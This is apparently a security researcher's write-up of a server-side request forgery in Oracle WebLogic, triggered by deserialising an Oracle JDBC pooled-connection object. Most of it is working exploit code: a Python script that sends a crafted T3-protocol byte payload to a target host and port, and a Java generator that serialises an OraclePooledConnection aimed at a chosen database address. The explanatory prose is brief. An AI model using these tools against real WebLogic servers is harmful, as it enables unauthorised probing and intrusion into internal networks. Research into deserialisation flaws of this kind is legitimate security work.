Weblogic SSRF via Deserialized Oracle JDBC Connection

(Updated: )

0x01 Forewords

As you know, I have researched the JDBC attacks for a long time. So I focus on the various attacks involving JDBC drivers. Today I write a short write-up about another way of JDBC attacking.

0x02

There is a private method readObject in the class oracle.jdbc.pool.OraclePooledConnection of ojdbc driver.

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Debug step by step, you will find it trying to establish a JDBC connection with deserializing the serialized stream. Here I post the key steps.

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0x03 PoC for Testing

weblogic.py

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#!/usr/bin/python
import socket
import os
import sys
import struct

if len(sys.argv) < 3:
    print('Usage: python {} <TARGET_HOST> <PORT> </PATH/TO/PAYLOAD>'.format(os.path.basename(sys.argv[0])))
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

server_address = (sys.argv[1],int(sys.argv[2]))

sys.stderr.write('{} [+] Connecting to {} '.format('\r\n',server_address))
sock.connect(server_address)

# Send headers
headers=b't3 10.3.6\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
sys.stderr.write('{} Sending {}'.format('\r\n',headers))
sock.sendall(headers)

data = sock.recv(1024)
sys.stderr.write('{} Received {}'.format('\r\n',data))

payloadObj = open(sys.argv[3],'rb').read()

payload=b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

# adjust header for appropriate message length
payload=struct.pack('>I',len(payload)) + payload[4:]

print('[+] Sending payload...')
sock.send(payload)
data = sock.recv(1024)
sys.stderr.write('{} Received {}'.format('\r\n',data))

WeblogicOJDBC.java

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package ysoserial.exploit;


import oracle.jdbc.internal.OpaqueString;
import oracle.jdbc.pool.OraclePooledConnection;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Properties;

public class OracleJdbc {
    public static void main(String[] args) throws Exception {

        Properties properties = new Properties();
        properties.put( "InitialLimit", "1" );
        properties.put( "MinLimit", "1" );
        properties.put( "MaxLimit", "5" );

        Class<?> clazz1 = Class.forName("oracle.jdbc.driver.OracleDriverExtension");
        Class<?> clazz2 = Class.forName("oracle.jdbc.driver.T4CConnection");
        Constructor<?> constructor = clazz2.getDeclaredConstructor(String.class, Properties.class , clazz1);
        constructor.setAccessible(true);

//ip
        Object obj = constructor.newInstance("jdbc:oracle:thin:@" + "127.0.0.1:1521" + ":src", properties, null);

//password

        Class<?> clazz3 = Class.forName("oracle.jdbc.internal.OpaqueString");
        Constructor<?> declaredConstructor = clazz3.getDeclaredConstructor(String.class);
        declaredConstructor.setAccessible(true);
        OpaqueString opaqueString = (OpaqueString)declaredConstructor.newInstance("123456");

        Field password = clazz2.getDeclaredField("password");
        password.setAccessible(true);
        password.set(obj, opaqueString);

//userName
        Class<?> clazz4 = Class.forName("oracle.jdbc.driver.GeneratedPhysicalConnection");
        Field userName = clazz4.getDeclaredField("userName");
        userName.setAccessible(true);
        userName.set(obj, "root");


//physicalConn
//Gain Runtime Object
        OraclePooledConnection oraclePooledConnection = new OraclePooledConnection();
        Field physicalConn = oraclePooledConnection.getClass().getDeclaredField("physicalConn");
        physicalConn.setAccessible(true);
        physicalConn.set(oraclePooledConnection, obj);

// Serialzation Data
        FileOutputStream fos = new FileOutputStream("poc.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(oraclePooledConnection);

    }
}




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